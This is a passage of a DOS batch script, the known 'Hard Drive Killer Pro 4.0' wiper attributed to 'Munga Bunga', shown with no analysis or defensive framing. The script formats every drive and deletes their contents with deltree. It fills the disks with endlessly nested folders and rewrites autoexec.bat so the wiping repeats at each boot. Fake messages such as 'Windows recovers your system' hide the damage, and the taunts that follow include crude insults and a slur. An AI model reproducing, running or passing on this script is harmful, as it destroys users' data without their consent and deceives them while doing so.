echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows,please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows,please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows,please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows,please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows,please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file,then sorry,I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important,if you have it,truly,dont let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian,then you are a murderer,and Im glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Dont support the following: War,Racism,Drugs and the Liberal Party.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards,>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2 \%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2 \%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories,hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and,Bill Gates rules,and he is not a geek,he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA,get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0,enjoy!!!!
rem Author: Munga Bunga - from Australia,the land full of retarded Australians (help me get out of here).
相關文章
相關標籤/搜索